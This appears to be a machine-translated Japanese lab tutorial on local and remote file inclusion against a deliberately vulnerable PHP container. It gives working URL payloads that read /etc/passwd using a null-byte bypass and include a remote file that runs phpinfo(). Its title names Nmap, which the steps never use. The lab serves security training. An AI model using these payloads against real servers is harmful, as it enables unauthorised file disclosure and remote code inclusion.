Nmap を使ってファイルインクルージョン脆弱性を悪用する

Beginner

💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください

はじめに

この実験では、ローカルおよびリモートのファイルインクルージョン脆弱性を悪用する方法を学びます。ファイルインクルージョン脆弱性は、ユーザー入力が適切にサニタイズされず、サーバー上のファイルをインクルードするために使用された場合に発生します。これにより、機密データの漏洩、リモートコード実行、その他の深刻な結果を招く可能性があります。この実験で使用される手法とペイロードを理解することで、これらの脆弱性の特定と悪用に関する実践的な経験を積むことができます。


Skills Graph

環境のセットアップ

このフェーズでは、ファイルインクルージョン脆弱性を悪用するスキルを磨くための実験環境を構築します。

まず、以下のコマンドを実行して、脆弱な Web アプリケーションを起動します。

docker run -d -p 81:80 --name pentesterlab-phpfileinclude jewel591/vulnbox:pentesterlab-phpfileinclude /bin/sh -c "sed -i 's/allow_url_include = Off/allow_url_include = On/g' /etc/php/7.3/apache2/php.ini && service apache2 start && service mysql start && tail -f /var/log/apache2/error.log" --registry-mirror=http://hub-mirror.c.163.com

このコマンドは、ポート 81 で動作する脆弱な Web アプリケーションを持つ Docker コンテナを起動します。

次に、Web ブラウザを起動し、http://127.0.0.1:81 にアクセスします。Web アプリケーションのホームページが表示されるはずです。

ファイルインクルージョン脆弱性の特定

このフェーズでは、URL パラメータを精査することで、潜在的なファイルインクルージョン脆弱性を特定します。

Web アプリケーションのホームページで、「Submit」ボタンと「Login」ボタンを押します。ブラウザのアドレスバーの URL に注意を払ってください。http://127.0.0.1:81/index.php?page=submithttp://127.0.0.1:81/index.php?page=login のように、URL が page パラメータに応じて変化することがわかるはずです。

このパターンは、Web アプリケーションがユーザー入力を安全でない方法で処理している可能性があり、それがファイルインクルージョン脆弱性を引き起こす可能性があることを示しています。

脆弱性の確認

このフェーズでは、ファイルインクルージョン脆弱性を検出する方法を探ります。一般的な方法は 2 つあります。

  1. 配列パラメータ法page パラメータを配列に変更します。例えば、http://localhost:81/index.php?page[]=test のようにします。「include」または「failed to open stream」という警告またはエラーメッセージが表示された場合、アプリケーションがユーザー入力に基づいてファイルをインクルードしようとしているため、潜在的な脆弱性を示しています。

  2. ローカルファイルインクルージョンテスト:サーバー上に存在するローカルファイルをインクルードしようとします。例えば、Linux では /etc/passwd、Windows では C:\Windows\System32\drivers\etc\hosts です。ファイルの内容が表示された場合、ローカルファイルインクルージョン脆弱性が確認されます。

このレッスンでは、2 番目の方法を使用して /etc/passwd ファイルをインクルードします。

http://localhost:81/index.php?page=/etc/passwd

おそらく、アプリケーションが /etc/passwd ではなく /etc/passwd.php をインクルードしようとしていることを示すエラーメッセージが表示されるでしょう。これは、アプリケーションがインクルードするファイルに自動的に .php を追加するためです。

これを回避するために、ヌルバイト技法 (%00) を使用することができます。ヌルバイトは文字列の終了を示し、アプリケーションはそれ以降の内容を無視します。

以下のペイロードを試してみてください。

http://localhost:81/index.php?page=/etc/passwd%00

/etc/passwd ファイルの内容が表示された場合、ローカルファイルインクルージョン脆弱性の存在が確認されます。

リモートファイルインクルージョンの悪用

このフェーズでは、リモートファイルインクルージョンの概念と潜在的な脆弱性について詳しく見ていきます。

リモートファイルインクルージョンは重大な問題であり、攻撃者が外部サーバーからファイルをインクルードする可能性を生み出します。これにより、リモートコード実行や機密データの漏洩などの深刻なセキュリティ侵害につながる可能性があります。

まず、外部サーバーにホストされているリモートファイルをインクルードしようとする例から始めましょう。

http://localhost:81/index.php?page=https://www.example.com/index.html%00

これを実行すると、Web アプリケーションのレスポンスにリモートファイルの内容が含まれているのが見えるはずです。

実際のシナリオでは、攻撃者は通常、自分が管理するサーバーに悪意のあるペイロードをホストし、リモートファイルインクルージョン脆弱性を利用してそれをインクルードしようとします。

このデモンストレーションのために、PentesterLab のウェブサイトに事前にホストされているペイロードを使用します。

http://localhost:81/index.php?page=https://assets.pentesterlab.com/test_include.txt%00

このペイロードは phpinfo() 関数をトリガーし、サーバーの PHP 設定に関する情報を開示します。

これは潜在的な脆弱性のデモンストレーションであることを忘れないでください。独自のアプリケーションを構築する際には、このような攻撃を防ぐために適切なセキュリティ対策を実装することが重要です。次のセクションでは、これらのセキュリティ対策の一部について説明します。

まとめ

この実験では、ローカルおよびリモートのファイルインクルージョン脆弱性を特定し、悪用する方法を学びました。脆弱な Web アプリケーションをセットアップし、URL パラメータを分析して潜在的な脆弱性を特定し、さまざまな手法を用いてファイルインクルージョン脆弱性の存在を確認し、最後にローカルおよびリモートのファイルインクルージョン脆弱性を悪用しました。これらの脆弱性とその悪用方法を理解することは、Web アプリケーションのセキュリティテストや、機密データとシステムの保護を確保するために重要です。